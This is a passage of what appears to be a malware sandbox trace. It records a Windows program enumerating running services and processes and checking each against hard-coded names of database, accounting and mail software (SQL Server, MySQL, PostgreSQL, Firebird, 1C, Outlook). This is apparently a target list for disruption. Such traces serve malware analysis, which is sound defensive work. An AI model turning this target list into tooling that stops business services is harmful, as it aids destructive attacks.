th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0237.588] lstrlenW (lpString="conhost.exe") returned 11 [0237.588] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0237.588] CloseHandle (hObject=0x338) returned 1 [0237.588] Sleep (dwMilliseconds=0x1f4) [0238.232] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42aeaf8 [0238.392] EnumServicesStatusExW (in: hSCManager=0x42aeaf8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0238.392] GetLastError () returned 0xea [0238.392] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc9a) returned 0x42e73a0 [0238.392] EnumServicesStatusExW (in: hSCManager=0x42aeaf8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e73a0, cbBufSize=0xc9a, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e73a0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0238.393] CloseServiceHandle (hSCObject=0x42aeaf8) returned 1 [0238.393] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0238.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0238.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0238.393] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0238.393] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0238.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0238.393] lstrlenW (lpString="AudioSrv") returned 8 [0238.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0238.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0238.393] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0238.393] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0238.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0238.393] lstrlenW (lpString="BFE") returned 3 [0238.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0238.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0238.393] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0238.393] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0238.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0238.393] lstrlenW (lpString="CryptSvc") returned 8 [0238.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0238.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0238.393] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0238.393] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0238.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0238.393] lstrlenW (lpString="CscService") returned 10 [0238.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0238.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0238.393] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0238.393] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0238.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0238.394] lstrlenW (lpString="DcomLaunch") returned 10 [0238.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0238.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0238.394] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0238.394] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0238.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0238.394] lstrlenW (lpString="Dhcp") returned 4 [0238.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0238.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0238.394] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0238.394] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0238.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0238.394] lstrlenW (lpString="Dnscache") returned 8 [0238.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0238.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0238.394] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0238.394] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0238.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0238.394] lstrlenW (lpString="DPS") returned 3 [0238.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0238.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0238.394] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0238.394] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0238.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0238.394] lstrlenW (lpString="eventlog") returned 8 [0238.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0238.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0238.394] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0238.394] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0238.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0238.394] lstrlenW (lpString="EventSystem") returned 11 [0238.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0238.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0238.394] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0238.394] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0238.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0238.395] lstrlenW (lpString="gpsvc") returned 5 [0238.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0238.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0238.395] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0238.395] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0238.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0238.395] lstrlenW (lpString="LanmanWorkstation") returned 17 [0238.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0238.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0238.395] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0238.395] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0238.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0238.395] lstrlenW (lpString="lmhosts") returned 7 [0238.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0238.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0238.395] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0238.395] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0238.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0238.395] lstrlenW (lpString="MMCSS") returned 5 [0238.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0238.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0238.395] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0238.395] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0238.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0238.395] lstrlenW (lpString="MpsSvc") returned 6 [0238.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0238.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0238.395] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0238.395] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0238.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0238.395] lstrlenW (lpString="NlaSvc") returned 6 [0238.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0238.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0238.395] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0238.396] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0238.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0238.396] lstrlenW (lpString="nsi") returned 3 [0238.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0238.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0238.396] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0238.396] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0238.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0238.396] lstrlenW (lpString="PcaSvc") returned 6 [0238.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0238.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0238.396] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0238.396] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0238.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0238.396] lstrlenW (lpString="PlugPlay") returned 8 [0238.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0238.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0238.396] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0238.396] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0238.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0238.396] lstrlenW (lpString="Power") returned 5 [0238.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0238.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0238.396] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0238.396] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0238.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0238.396] lstrlenW (lpString="ProfSvc") returned 7 [0238.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0238.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0238.396] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0238.396] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0238.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0238.396] lstrlenW (lpString="RpcEptMapper") returned 12 [0238.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0238.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0238.396] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0238.397] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0238.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0238.397] lstrlenW (lpString="RpcSs") returned 5 [0238.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0238.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0238.397] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0238.397] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0238.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0238.397] lstrlenW (lpString="SamSs") returned 5 [0238.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0238.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0238.397] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0238.397] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0238.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0238.397] lstrlenW (lpString="Schedule") returned 8 [0238.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0238.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0238.397] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0238.397] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0238.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0238.397] lstrlenW (lpString="SENS") returned 4 [0238.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0238.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0238.397] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0238.397] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0238.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0238.397] lstrlenW (lpString="ShellHWDetection") returned 16 [0238.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0238.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0238.397] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0238.397] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0238.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0238.397] lstrlenW (lpString="Spooler") returned 7 [0238.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0238.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0238.397] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0238.398] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0238.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0238.398] lstrlenW (lpString="Themes") returned 6 [0238.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0238.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0238.398] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0238.398] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0238.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0238.398] lstrlenW (lpString="UxSms") returned 5 [0238.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0238.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0238.398] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0238.398] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0238.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0238.398] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x42e73a0 | out: hHeap=0x530000) returned 1 [0238.398] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388 [0238.402] Process32FirstW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0238.402] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0238.403] lstrlenW (lpString="System") returned 6 [0238.403] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0238.403] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0238.403] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0238.403] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0238.403] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0238.403] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0238.403] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0238.403] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0238.403] lstrlenW (lpString="smss.exe") returned 8 [0238.403] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0238.403] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0238.403] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0238.403] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0238.403] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0238.403] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0238.403] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0238.403] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.404] lstrlenW (lpString="csrss.exe") returned 9 [0238.404] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0238.404] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0238.404] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0238.404] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0238.404] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0238.404] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0238.404] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0238.404] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0238.404] lstrlenW (lpString="wininit.exe") returned 11 [0238.404] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0238.404] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0238.404] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0238.404] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0238.404] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0238.404] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0238.404] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0238.404] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.405] lstrlenW (lpString="csrss.exe") returned 9 [0238.405] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0238.405] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0238.405] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0238.405] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0238.405] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0238.405] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0238.405] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0238.405] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0238.405] lstrlenW (lpString="winlogon.exe") returned 12 [0238.405] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0238.405] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0238.405] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0238.405] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0238.405] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0238.405] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0238.405] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0238.405] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0238.406] lstrlenW (lpString="services.exe") returned 12 [0238.406] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0238.406] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0238.406] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0238.406] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0238.406] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0238.406] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0238.406] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0238.406] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0238.406] lstrlenW (lpString="lsass.exe") returned 9 [0238.406] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0238.406] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0238.406] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0238.406] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0238.406] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0238.406] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0238.406] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0238.406] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0238.407] lstrlenW (lpString="lsm.exe") returned 7 [0238.407] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0238.407] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0238.407] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0238.407] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0238.407] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0238.407] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0238.407] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0238.407] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.407] lstrlenW (lpString="svchost.exe") returned 11 [0238.407] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0238.407] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0238.407] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0238.407] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0238.407] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0238.407] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0238.407] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0238.407] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.408] lstrlenW (lpString="svchost.exe") returned 11 [0238.408] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0238.408] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0238.408] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0238.408] lstrcmpiW (lpString1="postgres.exe", 